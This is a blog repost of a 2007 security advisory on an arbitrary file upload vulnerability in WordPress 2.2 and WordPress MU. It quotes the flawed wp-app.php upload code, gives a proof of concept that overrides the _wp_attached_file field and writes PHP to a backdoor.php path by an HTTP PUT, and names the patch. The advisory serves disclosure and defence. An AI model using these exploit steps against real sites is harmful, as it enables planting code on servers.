Arbitrary File Upload Vulnerability in WordPress and WordPress MU

Article original from http://www.buayacorp.com/files/wordpress…

I just copy here to the people who do not know.

Arbitrary File Upload Vulnerability in WordPress and WordPress MU

Author
Alexander Concha <alex at buayacorp dot com>
Affected versions
WordPress 2.2 and WordPress MU <= 1.2.2

Description

WordPress is a state-of-the-art semantic personal publishing platform with a focus on aesthetics, web standards, and usability.

WordPress allows the upload of limited set of file attachments. The name, title and other values are stored on wp_posts table with post_type=attachment, the path and other file properties are stored in wp_postmeta table using special fields named _wp_attached_file and _wp_attachment_metadata.

On the other hand, WordPress also gives the ability to add custom fields in normal posts or pages (this fields are stored in wp_postmeta table too), but it does not check whether this special meta-data fields of attachments are added in normal posts.

On wp-app.php, there is the following function that allows file uploads:

function put_file($postID) {

  $type = $this->get_accepted_content_type();

  // first check if user can upload
  if(!current_user_can('upload_files'))
    $this->auth_required(__('You do not have permission to upload files.'));

  // check for not found
  global $entry;
  $this->set_current_entry($postID);

  // then whether user can edit the specific post
  if(!current_user_can('edit_post', $postID)) {
    $this->auth_required(__('Sorry, you do not have the right to edit this post.'));
  }

  $location = get_post_meta($entry['ID'], '_wp_attached_file', true);

  if(!isset($location))
    $this->internal_error(__('Error ocurred while accessing post metadata for file location.'));

  $fp = fopen("php://input", "rb");
  $localfp = fopen($location, "w+");
  while(!feof($fp)) {
    fwrite($localfp,fread($fp, 4096));
  }
  fclose($fp);
  fclose($localfp);

  log_app('function',"put_file($postID)");
  $this->ok();
}

This function basically loads the path of the first attachment and writes the content that is posted to wp-app.php. So, if an attacker overrides the value of the first metadata attachment with a convenient filename, all the contents will be written to that file.

This bug has been proved to be critical in WordPress MU based sites, since every registered user that have a blog account can upload files.

Proof of Concept

  1. Create or edit a post and add/override a custom field to it with the following value:
    key 	: _wp_attached_file
    value 	: /home/vulnerable.com/wp/wp-content/uploads/backdoor.php
  2. Send a PUT request to wp-app.php and pass the post_ID value from step 1
    PUT /wp/wp-app.php?action=/attachment/file/post_ID HTTP/1.1
    Cookie: auth cookies
    Content-Type: image/gif
    Host: vulnerable.com
    Content-Length: the content length
    
    <?php echo "Hello World"; ?>

<!–p>I have made a Perl script that automates the PoC.</p–>

Solution

Upgrade to latest version of WordPress [MU]. This bug was fixed in changeset 5765.

Disclosure Timeline

  • 06/16/2007 - Bug found
  • 06/17/2007 - Vendor contact
  • 06/21/2007 - WordPress 2.2.1 released
  • 06/23/2007 - Public Disclosure
Rating: 4.7/10 (22 votes cast)

Related posts:

  1. jquery error in wordpress Please check <?php $metadata = has_meta($post->ID); list_meta($metadata); ?> in the...
  2. Wordpress export problem, solution and instruction As you may aware, when your xml size is over...
  3. wordpress similar posts error fix if you get an error like this when you turn...
  4. How to fix the problem of “Warning: call_user_func_array()” Some plugin may have the conflicts of the current 2.6...
  5. How to twist wordpress plugin into wpmu sometimes, we are just so stupid that wanna directly dump...

Leave a Reply

Preview:

Tags:
Separate individual tags by commas